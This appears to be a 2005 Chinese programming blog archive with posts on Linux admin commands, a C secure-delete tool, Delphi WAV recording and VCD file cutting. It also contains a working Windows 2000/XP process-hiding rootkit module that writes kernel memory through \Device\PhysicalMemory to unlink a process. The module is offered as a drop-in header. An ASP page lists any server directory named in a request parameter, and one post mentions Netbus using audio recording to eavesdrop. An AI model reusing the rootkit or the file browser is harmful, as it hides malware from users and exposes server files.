2005年06月22日

    ps:查看系统中的进程,Linux中可以使用ps -aux查看所有进程
  参数w表示加宽显示的命令行,参数w可以写多次,通常最多写3次,表示加宽3次,这足以显示很长的命令行了。例如:ps -auxwww


  top:显示系统内存、cpu使用情况,并可自动刷新进程列表


  vmstat:显示当前的内存使用情况


  netstat:显示网络状况,使用参数p可以查看对应的进程号及程序名,


  通常使用参数a(显示所有连接情况)和n(不反查域名和服务名),例如:netstat -anp。


  查看服务器侦听情况,使用:netstat -an grep LISTEN


  查看服务器已建立的连接,使用:netstat -an grep ESTABLISHED


  ifconfig:查看(或设置)网络设备信息


  ifconfig -a:查看所有网络设置信息


  last:显示登录到服务器的情况以及服务器重启情况


  df:显示硬盘空间及使用情况,Linux下可以带参数h,显示结果更人性化。例如:


  df -h 硬盘空间按人性化显示


  df -k 硬盘空间按KB显示


  df -m 硬盘空间按MB显示


  w:显示登录到服务器上的用户列表

 


  以下几个命令仅针对Linux


  lsof:显示当前打开的文件列表,包括建立的socket连接等。本命令可以用于程序员检查编写的程序打开的文件数。


  sysctl:显示(或设置)系统内核参数


  sysctl -a 显示所有内核参数


  sysctl -w 参数名=参数值


  例如:sysctl -w fs.file-max=10240 设置系统允许同时打开的最大文件数为10240。


  内核参数fs.file-nr包括三个参数值,第一个参数表示系统中曾经同时打开过的文件数峰值,


  第二个参数表示空闲(分配后已释放)的文件数,


  第三个参数表示可以打开的最大文件数,其值等于fs.file-max。


  当前打开的文件数 = 第一个参数值 – 第二个参数值

 

  例如:


  fs.file-nr = 977 223 10240


  当前打开的文件数 = 977 – 233 = 744


  设置内核参数时务必小心,如果设置不当会导致系统异常,甚至当机。


  ulimit:显示(或设置)用户可以使用的资源限制


  ulimit -a 显示用户可以使用的资源限制


  ulimit unlimited 不限制用户可以使用的资源,但本设置对可打开的最大文件数(max open files)


  和可同时运行的最大进程数(max user processes)无效


  ulimit -n <可以同时打开的文件数> 设置用户可以同时打开的最大文件数(max open files)


  例如:ulimit -n 8192


  如果本参数设置过小,对于并发访问量大的网站,可能会出现too many open files的错误


  ulimit -u <可以运行的最大并发进程数> 设置用户可以同时运行的最大进程数(max user processes)


  例如:ulimit -u 1024

2005年06月14日

<!—将此文件存index.asp看看效果就知道了加上权限就可以方便自己了,—>
<%
‘const_domain_name为域名最后不要加斜杠
const const_domain_name="http://localhost"
%>
<style>
b,img,a{font-size:9pt;line-height:150%;text-decoration:none;color:#0000cc;}
span{font-size:12pt;}
</style>

<%
‘————————————————显示当前目录下的子目录和文件
sub list
Dim fso, f, f1, fc, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(server.MapPath("."))
set fs=f.SubFolders
Set fc =f.Files

For Each fss in fs
dim folder_name
folder_name=fss.name
%>
<a href="index.asp?act=list_cur&cur_path=<%=fss%>"><span style="font-family:wingdings">0</span><%=folder_name%></a><br>
<%
Next

%>
<%
For Each f1 in fc
dim filename
filename=f1.name

%>
<a href="<%=p2v_path(f1)%>"><span style="font-family:wingdings 2">/</span><%=filename%></a><br>
<%
Next

set fso=nothing
end sub
%>


<%
‘————————————————显示指定路径下的目录和文件
sub list_cur
Dim fso, f, f1, fc, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(request("cur_path"))
set fs=f.SubFolders
Set fc =f.Files

For Each fss in fs
dim folder_name
folder_name=fss.name
%>
<a href="folder_list.asp?act=list_cur&cur_path=<%=fss%>"><span style="font-family:wingdings">0</span><%=folder_name%></a><br>
<%
Next

%>


<%
For Each f1 in fc
dim filename
filename=f1.name

%>
<a href="<%=p2v_path(f1)%>"><span style="font-family:wingdings 2">/</span><%=filename%></a><br>
<%
Next
set fso=nothing
end sub
%>



<%
‘————————————————显示上级目录的子目录和子文件
sub list_parent
on error resume next
Dim fso, f, f1, fc, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(display_cur_path)
set fs=f.SubFolders
Set fc =f.Files

For Each fss in fs
dim folder_name
folder_name=fss.name

%>
<a href="folder_list.asp?act=list_cur&cur_path=<%=fss%>"><span style="font-family:wingdings">0</span><%=folder_name%></a><br>
<%

Next

%>

<%
For Each f1 in fc
dim filename
filename=f1.name
%>
<a href="<%=p2v_path(f1)%>"><span style="font-family:wingdings 2">/</span><%=filename%></a><br>
<%
Next
set fso=nothing
on error goto 0
end sub

‘———————————————得到上级目录的路径
function get_parent_folder()
on error resume next
str=display_cur_path
str_find="\"
str_int=InStrRev (str,str_find)-1 ‘得到上一级目录的路径
get_parent_folder=mid(str,1,str_int)
err.clear
end function


‘———————————————–将文件路径转为www发布的路径这样就可以下载了
function p2v_path(p_path)
‘p_path为硬盘上的物理路径
dim host
host=lcase(server.MapPath("\"))
p_path=lcase(p_path)
p2v_path=replace(p_path,host,const_domain_name)
end function

‘———————————————–显示当前所在的路径
function display_cur_path()
cur_path=request("cur_path")
if cur_path="" then
display_cur_path=server.MapPath(".")
else
display_cur_path=cur_path
end if
set fso=nothing
end function
sub main
%>
<a href="folder_list.asp?act=list_parent&cur_path=<%=get_parent_folder %>">向上</a> <b><a href="javascript:void(null)"><%=display_cur_path%></a></B><p>
<%
select case request("act")
case "list_parent"
list_parent
case "list_cur"
list_cur
case else
list
end select
end sub
main
%>

2005年06月06日

http://www.xphpx.com/blog/index.php?action=show&id=1

2005年06月05日

信息来源:幻影旅团
文章作者:winewind

应该是不可恢复的,因为我是在删除前改写文件内容,最多恢复的也是改写后的内容。标准的做法应该是去系统文件表查询文件的每块具体位置,然后在这些位置上写入垃圾数据。不过太麻烦了,所以找了下面这个折衷的办法。或许有人会说,那我还不如自己动手,先改内容,再保存,再删除。是啊,我的这个程序还真没什么用场。。。。



# include "windows.h"

# include "stdio.h"



#pragma comment(lib, "kernel32.lib")



// Global Variables Declaration

char *pFileName = NULL;

HANDLE hFileDel;



// ERROR Handle Function

void ErrorExit(LPTSTR lpszFunction)

{

TCHAR szBuf[80];

LPVOID lpMsgBuf;

DWORD dw = GetLastError();



FormatMessage(

FORMAT_MESSAGE_ALLOCATE_BUFFER |

FORMAT_MESSAGE_FROM_SYSTEM,

NULL,

dw,

MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),

(LPTSTR) &lpMsgBuf,

0, NULL );



wsprintf(szBuf,

"%s failed with error %d: %s",

lpszFunction, dw, lpMsgBuf);



MessageBox(NULL, szBuf, "Error", MB_OK);



LocalFree(lpMsgBuf);

ExitProcess(dw);

}



// Main Function

int main(int argc, char *argv[])

{

if(argc != 2)

{

printf("Command Format: %s filename\n", argv[0]);

return -1;

}



pFileName = argv[1]; // the file to be deleted



// TODO: Open the Target File

hFileDel = CreateFile( pFileName,

GENERIC_READ | GENERIC_WRITE,

0,

NULL,

OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL,

NULL);

if(hFileDel == INVALID_HANDLE_VALUE) // file can not be opened

{

ErrorExit("CreatFile");

return -1;

}



LPSTR RubbishBuffer;

DWORD dwBytesWritten;

DWORD dwBufferLength;



// TODO: Get File Size

dwBufferLength = GetFileSize(hFileDel, NULL);



// TODO: Construct the Rubbish Buffer

int BufferSize = (int) dwBufferLength;

int i; // loop counter

char RubbishData[BufferSize], *p;

p = RubbishData;

for(i=0; i<BufferSize; i++)

{

*p = ‘i’;

p++;

}

//printf("the rubbish buffer is: %s\n", RubbishData);



// TODO: Overwrite the Original File with Rubbish Data

if(!WriteFile( hFileDel,

RubbishData,

dwBufferLength,

&dwBytesWritten,

NULL) )

{

ErrorExit("WriteFile Function");

return -1;

}



CloseHandle(hFileDel);



// TODO: Delete the Modified File

if(!DeleteFile(pFileName))

{

ErrorExit("DeleteFile");

return -1;

}



return 1;

}

头文件:

//////////////////////////////////////
//HideProcess.h
BOOL HideProcess();

 

CPP源文件:
/////////////////////////////////////////////////////////////////////////////
//HideProcess.cpp
#include<windows.h>
#include<Accctrl.h>
#include<Aclapi.h>

#include"HideProcess.h"

#define NT_SUCCESS(Status)((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

typedef LONG NTSTATUS;

typedef struct _IO_STATUS_BLOCK
{
    NTSTATUS Status;
    ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_INHERIT                0×00000002L
#define OBJ_PERMANENT            0×00000010L
#define OBJ_EXCLUSIVE            0×00000020L
#define OBJ_CASE_INSENSITIVE    0×00000040L
#define OBJ_OPENIF                0×00000080L
#define OBJ_OPENLINK            0×00000100L
#define OBJ_KERNEL_HANDLE        0×00000200L
#define OBJ_VALID_ATTRIBUTES    0×000003F2L

typedef struct _OBJECT_ATTRIBUTES
{
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
    OUT PHANDLE SectionHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes
    );

typedef VOID (CALLBACK* RTLINITUNICODESTRING)(
    IN OUT PUNICODE_STRING DestinationString,
    IN PCWSTR SourceString
    );

RTLINITUNICODESTRING RtlInitUnicodeString;
ZWOPENSECTION ZwOpenSection;
HMODULE g_hNtDLL = NULL;
PVOID g_pMapPhysicalMemory = NULL;
HANDLE g_hMPM = NULL;
OSVERSIONINFO g_osvi;
//—————————————————————————
BOOL InitNTDLL()
{
    g_hNtDLL = LoadLibrary("ntdll.dll");

    if (NULL == g_hNtDLL)
        return FALSE;

    RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL,

"RtlInitUnicodeString");
    ZwOpenSection = (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");

    return TRUE;
}
//—————————————————————————
VOID CloseNTDLL()
{
    if(NULL != g_hNtDLL)
        FreeLibrary(g_hNtDLL);

    g_hNtDLL = NULL;
}
//—————————————————————————
VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{
    PACL pDacl                    = NULL;
    PSECURITY_DESCRIPTOR pSD    = NULL;
    PACL pNewDacl = NULL;
   
    DWORD dwRes = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL,

NULL, &pDacl, NULL, &pSD);

    if(ERROR_SUCCESS != dwRes)
    {

    if(pSD)
        LocalFree(pSD);
    if(pNewDacl)
        LocalFree(pNewDacl);
    }

    EXPLICIT_ACCESS ea;
    RtlZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
    ea.grfAccessPermissions = SECTION_MAP_WRITE;
    ea.grfAccessMode = GRANT_ACCESS;
    ea.grfInheritance= NO_INHERITANCE;
    ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
    ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
    ea.Trustee.ptstrName = "CURRENT_USER";

    dwRes = SetEntriesInAcl(1,&ea,pDacl,&pNewDacl);
   
    if(ERROR_SUCCESS != dwRes)
    {

    if(pSD)
        LocalFree(pSD);
    if(pNewDacl)
        LocalFree(pNewDacl);
    }
    dwRes = SetSecurityInfo

(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL);
   
    if(ERROR_SUCCESS != dwRes)
    {

    if(pSD)
        LocalFree(pSD);
    if(pNewDacl)
        LocalFree(pNewDacl);
    }

}
//—————————————————————————
HANDLE OpenPhysicalMemory()
{
    NTSTATUS status;
    UNICODE_STRING physmemString;
    OBJECT_ATTRIBUTES attributes;
    ULONG PhyDirectory;

    g_osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    GetVersionEx (&g_osvi);

    if (5 != g_osvi.dwMajorVersion)
        return NULL;

    switch(g_osvi.dwMinorVersion)
    {
        case 0:
            PhyDirectory = 0×30000;
            break; //2k
        case 1:
            PhyDirectory = 0×39000;
            break; //xp
        default:
            return NULL;
    }

    RtlInitUnicodeString(&physmemString, L"\\Device\\PhysicalMemory");

    attributes.Length                    = sizeof(OBJECT_ATTRIBUTES);
    attributes.RootDirectory            = NULL;
    attributes.ObjectName                = &physmemString;
    attributes.Attributes                = 0;
    attributes.SecurityDescriptor        = NULL;
    attributes.SecurityQualityOfService    = NULL;

    status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &attributes);

    if(status == STATUS_ACCESS_DENIED)
    {
        status = ZwOpenSection(&g_hMPM, READ_CONTROL|WRITE_DAC, &attributes);
        SetPhyscialMemorySectionCanBeWrited(g_hMPM);
        CloseHandle(g_hMPM);
        status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &attributes);
    }

    if(!NT_SUCCESS(status))
        return NULL;

    g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, PhyDirectory,

0×1000);

    if( g_pMapPhysicalMemory == NULL )
        return NULL;

    return g_hMPM;
}
//—————————————————————————
PVOID LinearToPhys(PULONG BaseAddress, PVOID addr)
{
    ULONG VAddr = (ULONG)addr,PGDE,PTE,PAddr;
    PGDE = BaseAddress[VAddr>>22];

    if (0 == (PGDE&1))
        return 0;

    ULONG tmp = PGDE & 0×00000080;

    if (0 != tmp)
    {
        PAddr = (PGDE & 0xFFC00000) + (VAddr & 0×003FFFFF);
    }
    else
    {
        PGDE = (ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0×1000);
        PTE = ((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
       
        if (0 == (PTE&1))
            return 0;

        PAddr=(PTE&0xFFFFF000)+(VAddr&0×00000FFF);
        UnmapViewOfFile((PVOID)PGDE);
    }

    return (PVOID)PAddr;
}
//—————————————————————————
ULONG GetData(PVOID addr)
{
    ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr);
    PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, phys &

0xfffff000, 0×1000);
   
    if (0 == tmp)
        return 0;

    ULONG ret = tmp[(phys & 0xFFF)>>2];
    UnmapViewOfFile(tmp);

    return ret;
}
//—————————————————————————
BOOL SetData(PVOID addr,ULONG data)
{
    ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr);
    PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0×1000);

    if (0 == tmp)
        return FALSE;

    tmp[(phys & 0xFFF)>>2] = data;
    UnmapViewOfFile(tmp);

    return TRUE;
}
//—————————————————————————
long __stdcall exeception(struct _EXCEPTION_POINTERS *tmp)
{
   ExitProcess(0);
   return 1 ;
}
//—————————————————————————
BOOL YHideProcess()
{
//    SetUnhandledExceptionFilter(exeception);

    if (FALSE == InitNTDLL())
        return FALSE;

    if (0 == OpenPhysicalMemory())
        return FALSE;

    ULONG thread  = GetData((PVOID)0xFFDFF124); //kteb
    ULONG process = GetData(PVOID(thread + 0×44)); //kpeb

    ULONG fw, bw;
    if (0 == g_osvi.dwMinorVersion)
    {
        fw = GetData(PVOID(process + 0xa0));
        bw = GetData(PVOID(process + 0xa4));       
    }

    if (1 == g_osvi.dwMinorVersion)
    {
        fw = GetData(PVOID(process + 0×88));
        bw = GetData(PVOID(process + 0×8c));
    }
       
    SetData(PVOID(fw + 4), bw);
    SetData(PVOID(bw), fw);

    CloseHandle(g_hMPM);
    CloseNTDLL();

    return TRUE;
}

BOOL HideProcess()
{
 static BOOL b_hide = false;
 if (!b_hide)
 {
  b_hide = true;
  YHideProcess();
  return true;
 }
 return true;
}

然后在需要隐藏进程的时候#incoude"HideProcess.h",调用HideProcess()即可。

本文引用通告地址: http://blog.csdn.net/uoyevoli/services/trackbacks/386210.aspx

2005年06月01日

谈Delphi编程中文件格式的应用

陈经韬
    文件是数据的物理存在方式,是数据的载体.在Windows下,有各种各样格式的文件.文件因格式不同而具体作用也不一样.熟悉文件格式将对我们的编程有莫大帮助.下面,笔者将通过常见的波形文件WAV,VCD视频文件DAT和图标文件ICO来介绍常用的几种文件格式的编程.
一:Wav格式程序编程
    Wav格式文件主要由两部分组成:头信息和具体数据.其中头信息部分记录了该Wav文件的声道,位率和频率等信息.声道一般分为单声道和立体声,而位率一般可以分为8位和16位声.至于声音频率可以有1025,22050,44100等多种.也就是说,只要我们定义一个文件头,然后把纯声音数据添加到其后面即可变成一个完整的可以播放的Wav文件.在本例中,我们通过Mediaplay控件来采集声音数据.下面就开始动手吧. 
运行Delphi,在System页拖一个Mediaplayer控件到窗体上,默认名为Mediaplayer1。由于我们的程序是采用自己的按钮,所以将Mediaplayer1的Visible属性设置为False,其它属性保持默认值。再放两个按钮Button1和Button2。Button1的属性Name改为BtStart,Caption改为"开始录音", Button2的属性Name改为BtStop,Caption改为"停止录音",Enabled属性改为False。然后切换窗口到代码窗口,开始书写代码。
    程序中,我们定义了一个Wav文件的文件头格式,录音时先创建一个只有文件头的Wav文件,然后将Mediaplayer1录制下来的声音写进文件。其中CreateWav过程的几个参数意义如下:第一个channels代表声道,取1时代表单声,取2时代表立体声。resolution也只有两个值可以选择,取8时代表8位声音,取16时代表16位声音,rate则代表声音频率,如11025,22050, 44100。值越大则声音越清晰,当然,所录制的文件也越大。最后一个参数则代表对应的文件名称了。所以CreateWav可以有以下形式:
CreateWav(1,8,11025,’C:abc.wav’);//在C盘根目录下创建一个8位单声道频率为11025的名为abc.wav的Wav文件
CreateWav(2,16,44100,’C:abc.wav’);//在C盘根目录下创建一个16位立体声道频率为44100的名为abc.wav的Wav文件

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, MPlayer;

type
TWavHeader = record //定义一个Wav文件头格式 
rId : longint; 
rLen : longint; 
wId : longint; 
fId : longint; 
fLen : longint; 
wFormatTag : word; 
nChannels : word; 
nSamplesPerSec : longint; 
nAvgBytesPerSec : longint; 
nBlockAlign : word; 
wBitsPerSample : word; 
dId : longint; 
wSampleLength : longint; 
end;
TForm1 = class(TForm)
MediaPlayer1: TMediaPlayer;
BtStart: TButton;
BtStop: TButton;
procedure CreateWav(channels : word; resolution : word; rate : longint; fn : string);//自定义写一个Wav文件头过程
procedure BtStartClick(Sender: TObject);
procedure BtStopClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.CreateWav( channels : word; { 1(单声)或者2(立体声) }
resolution : word; { 8或者16,代表8位或16位声音 }
rate : longint; { 声音频率,如11025,22050, 44100}
fn : string { 对应的文件名称 } );
var
wf : file of TWavHeader;
wh : TWavHeader;
begin
wh.rId := $46464952; 
wh.rLen := 36; 
wh.wId := $45564157; 
wh.fId := $20746d66; 
wh.fLen := 16; 
wh.wFormatTag := 1; 
wh.nChannels := channels; 
wh.nSamplesPerSec := rate; 
wh.nAvgBytesPerSec := channels*rate*(resolution div 8);
wh.nBlockAlign := channels*(resolution div 8);
wh.wBitsPerSample := resolution;
wh.dId := $61746164; 
wh.wSampleLength := 0; 

assignfile(wf,fn); {打开对应文件 } 
rewrite(wf); {移动指针到文件头} 
write(wf,wh); {写进文件头 } 
closefile(wf); {关闭文件 } 
end;
procedure TForm1.BtStartClick(Sender: TObject);
begin
try
//在程序当前目录下创建一个Wav文件Temp.wav
CreateWav(1, 8, 11025, (ExtractFilePath(Application.ExeName)+ ‘Temp.wav’));
MediaPlayer1.DeviceType := dtAutoSelect;
MediaPlayer1.FileName := (ExtractFilePath(Application.ExeName)+ ‘Temp.wav’);
MediaPlayer1.Open;
MediaPlayer1.StartRecording;
BtStart.Enabled:=false;
BtStop.Enabled:=true;
except
BtStart.Enabled:=True;
BtStop.Enabled:=false;
Application.MessageBox(‘媒体设备初始化失败!’,'错误’,MB_ICONERROR+MB_OK);
end;
end;

procedure TForm1.BtStopClick(Sender: TObject);
begin
try
MediaPlayer1.Stop;
MediaPlayer1.Save;
MediaPlayer1.Close;
Application.MessageBox(‘声音录制完毕!’,'信息’,MB_ICONINFORMATION+MB_OK);
BtStart.Enabled:=True;
BtStop.Enabled:=false;
except
Application.MessageBox(‘保存声音文件出错!’,'错误’,MB_ICONERROR+MB_OK);
BtStart.Enabled:=True;
BtStop.Enabled:=false;
end;
end;
end.
    外国一个很出名的用Delphi编写的远程控制软件Netbus有一个声音监听功能,就是用本文的方法写的。它先把对方的声音录制下来,然后传送回来,达到监听对方的目的。当然,前提是对方必须安装有话筒,否则监听到的是对方播放的声音(如打开解霸或者Readplay播放,运行本程序,就可以把播放的声音录制下来了)。
实际上,现在的网络声音传播技术已经发展到一定阶段,语音对讲和IP电话等也开始成熟。不过它们一般采用的是经过压缩的ACM格式,具体代码可以在我的主页http://www.138soft.com下载。但如果对ACM格式不熟悉的朋友,也可以用本文的方法来制作自己的“录音机”。
补充:
1、录制的文件播放时可能要把音频属性的Wav调大。
2、如果系统安装了其它一些音频驱动程序,则可能录制的Wav文件大小为零,但会同时生成一个TMP结尾的文件,将其扩展名改为Wav就是录制的声音文件。但这种情况很少发生。(机会几乎为零^-^)
3、本程序在Pwin98+Delphi5,运行解霸和Replayer下录制声音通过。

二:VCD视频文件DAT格式程序编程
    DAT格式的文件其实属于MPEG1文件.它是在纯MPEG数据的基础上加入了一些控制信息组成的.DAT文件的结构我们可以大概的这样认为:DAT文件=DAT文件头+DAT数据.而纯MPEG文件是没有那个头的.
    VCD切割程序网上有很多,大部分都是老外写的,而且一般都要收注册费.实际上,如果我们熟识DAT格式的话,完全 可以自己写一个出来.
    在DAT文件中,你能经常找到字符串000001ba,但是在它之前,你还能发现好多个字节.它们是几个近乎类似的字节.而且共有的12~13个字节是 00 ff ff ff ff ff ff ff ff ff ff ff 00,我们称它为DAT头吧.这里有解码器所需要的信息,如果是软件解压,他们不是必须的.紧跟其后的是时间戳,如果你够细心,你会发现每一桢得这几个字节是略微有点变化的,变化规律呢?仔细看看,好像跟时间有关啊,呵呵……如果我们现在称以一个DAT头开始,终结于另一个DAT头之间的数据称为一帧,你会发现,DAT的每一帧的长度是固定的,是2352个字节.对于DAT文件,影片时间的长度与文件的大小是有关系的.在DAT中,每秒种将播放75个帧,也就是说每秒播放的字节数是2352*75个字节.
    所以,如果我们要切割一个DAT文件中30秒钟到70秒钟之间的内容组成一个新的DAT文件的话,实际上要做的工作如下:先把整个文件头取下来,然后把30秒钟到70秒钟之间的内容添加在其后面即可.其中30秒开始的位置等于DAT头内容大小+2352*75*30,只要SEEK到那个位置开始切割40秒钟的内容即可.(也就是2352*75*40字节.整个新文件的大小为DAT头大小加上2352*75*40字节.
    好了.现在只要解决如何找到那个DAT文件的头位置即可.怎么找呢?在整个DAT文件中搜索,找到一个000001BB即可.找到这个位置再加上2352*2字节就是文件头了.有了这些资料,我们已经可以开始写一个DAT切割程序了.全部代码如下:
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, MPlayer, ExtCtrls, ComCtrls;

type
TForm1 = class(TForm)
OpenDialog1: TOpenDialog;
GroupBox1: TGroupBox;
Bt_Open: TButton;
Label_Filename: TLabel;
Label_FileSize: TLabel;
Label_VcdTime: TLabel;
GroupBox2: TGroupBox;
StatusBar1: TStatusBar;
Edit_Start: TEdit;
Label1: TLabel;
Label2: TLabel;
Edit_End: TEdit;
Edit_Save1: TEdit;
Bt_Save: TButton;
Bt_Cut: TButton;
Label3: TLabel;
SaveDialog1: TSaveDialog;
procedure Bt_OpenClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Bt_SaveClick(Sender: TObject);
procedure Bt_CutClick(Sender: TObject);
private
iVcdTime:integer;
function GetFileSize(const FileName: string): LongInt;
function GetPacketHead(FileName:String):integer;//查找Dat文件头
function My_CutMpegFile(SourceFile,DestFile:String;StartTime,TimeLength:integer):Boolean;
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
implementation
{$R *.DFM}
function TForm1.GetFileSize(const FileName: string): LongInt;
var
SearchRec: TSearchRec;
begin
if FindFirst(ExpandFileName(FileName), faAnyFile, SearchRec) = 0 then
Result := SearchRec.Size
else Result := 0;
end;
function TForm1.GetPacketHead(FileName:String):integer;
const FORMAT_DATALEN=512*1024;
var
FileStream:TFileStream;
FormatStrings,StringsStream:TStringStream;
iPos:integer;
Mpg1Format:array[1..4]of byte;
iResult:integer;
begin
if not(FileExists(FileName)) then
begin
Result:=$10184;
Exit;
end;
FileStream:=TFileStream.Create(FileName,fmOpenRead or fmShareDenyNone);
if FileStream.Size<FORMAT_DATALEN then
begin
Result:=$10184+8+2352*2;
Exit;
end;
StringsStream:=TStringStream.Create(”);
StringsStream.CopyFrom(FileStream,FORMAT_DATALEN);
FileStream.Free;

FormatStrings:=TStringStream.Create(”);
Mpg1Format[1]:=$00;
Mpg1Format[2]:=$00;
Mpg1Format[3]:=$01;
Mpg1Format[4]:=$bb;
FormatStrings.Write(Mpg1Format,Sizeof(Mpg1Format));
iPos:=Pos(FormatStrings.DataString,StringsStream.DataString);
FormatStrings.Free;
StringsStream.Free;
if iPos<=0 then
iResult:=$10184+8+2352*2
else
iResult:=iPos-1+8+2352*2;
Result:=iResult;
end;
function TForm1.My_CutMpegFile(SourceFile,DestFile:String;StartTime,TimeLength:integer):Boolean;
const MyTimeFramSize=2352*75;//每秒钟176400字节
var
MyHeardSize:integer;
MyMpegFile:TFileStream;
MyMemFile:TMemoryStream;

begin
Result:=True;
MyHeardSize:=GetPacketHead(SourceFile);
MyMpegFile:=TFileStream.Create(SourceFile,fmOpenRead or fmShareDenyNone);
MyMemFile:=TMemoryStream.Create;
try
try
MyMemFile.CopyFrom(MyMpegFile,MyHeardSize);
MyMpegFile.Seek(MyHeardSize+MyTimeFramSize*StartTime,soFromBeginning);
MyMemFile.CopyFrom(MyMpegFile,MyTimeFramSize*TimeLength);
MyMemFile.SaveToFile(DestFile);
finally
MyMemFile.Free;
MyMpegFile.Free;
end;
except
Result:=False;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
iVcdTime:=0;
end;
procedure TForm1.Bt_OpenClick(Sender: TObject);
var
MyFileSize:Longint;
iTime:integer;
begin
if OpenDialog1.Execute then
begin
Label_Filename.Caption:=OpenDialog1.FileName;
MyFileSize:=GetFileSize(OpenDialog1.FileName);
iTime:=Trunc((MyFileSize-(GetPacketHead(Label_Filename.Caption)))/(75*2352));
iVcdTime:=iTime;
Label_FileSize.Caption:=’文件大小:’+IntToStr(MyFileSize)+’字节’;
Label_VcdTime.Caption:=’估计总长度:’+IntToStr(iTime)+’秒钟’;
Edit_End.Text:=IntToStr(iTime);
end;
end; 
procedure TForm1.Bt_SaveClick(Sender: TObject);
begin
if SaveDialog1.Execute then Edit_Save1.Text:=SaveDialog1.FileName;
end;

procedure TForm1.Bt_CutClick(Sender: TObject);
var
iStart,iEnd,Code:integer;
begin
if Not FileExists(Label_Filename.Caption) then
begin
Application.MessageBox(‘源文件不存在,请重新选择!’,Pchar(Application.Title),MB_ICONINFORMATION+MB_OK);
Exit;
end;
if Edit_Save1.Text=” then
begin
Application.MessageBox(‘请先选择目标文件名称!’,Pchar(Application.Title),MB_ICONINFORMATION+MB_OK);
Exit;
end;
if FileExists(Edit_Save1.Text) then
if(Application.MessageBox(‘目标文件已经存在,您要覆盖它吗?’, Pchar(Application.Title), MB_YESNO +MB_ICONQUESTION) = IDNO)
then Exit;
Val(Edit_Start.Text,iStart,Code);
if Code<>0 then
begin
Application.MessageBox(‘开始时间必须为整数,请重新输入!’,Pchar(Application.Title),MB_ICONINFORMATION+MB_OK);
Exit;
end;
Val(Edit_End.Text,iEnd,Code);
if Code<>0 then
begin
Application.MessageBox(‘时间长度必须为整数,请重新输入!’,Pchar(Application.Title),MB_ICONINFORMATION+MB_OK);
Exit;
end;
if iStart<0 then
begin
Application.MessageBox(‘开始时间必须为正整数,请重新输入!’,Pchar(Application.Title),MB_ICONINFORMATION+MB_OK);
Exit;
end;
if iStart>=iVcdTime then
begin
Application.MessageBox(‘开始时间不能大于或等于文件总长度,请重新输入!’,Pchar(Application.Title),MB_ICONINFORMATION+MB_OK);
Exit;
end;
if iEnd>iVcdTime then
begin
Application.MessageBox(‘时间长度不能大于文件总长度,请重新输入!’,Pchar(Application.Title),MB_ICONINFORMATION+MB_OK);
Exit;
end;
if iEnd<=0 then
begin
Application.MessageBox(‘时间长度必须大于0,请重新输入!’,Pchar(Application.Title),MB_ICONINFORMATION+MB_OK);
Exit;
end;
if ((iStart-iEnd)>=iVcdTime) or ((iEnd-iStart)>=iVcdTime) or(((iEnd+iStart)>iVcdTime)) then
begin
Application.MessageBox(‘实际时间不能大于或等于文件总长度,请重新输入!’,Pchar(Application.Title),MB_ICONINFORMATION+MB_OK);
Exit;
end;
My_CutMpegFile(Label_Filename.Caption,Edit_Save1.Text,iStart,iEnd);
Application.MessageBox(‘切割完毕!’,Pchar(Application.Title),MB_ICONINFORMATION+MB_OK);
end;

end.

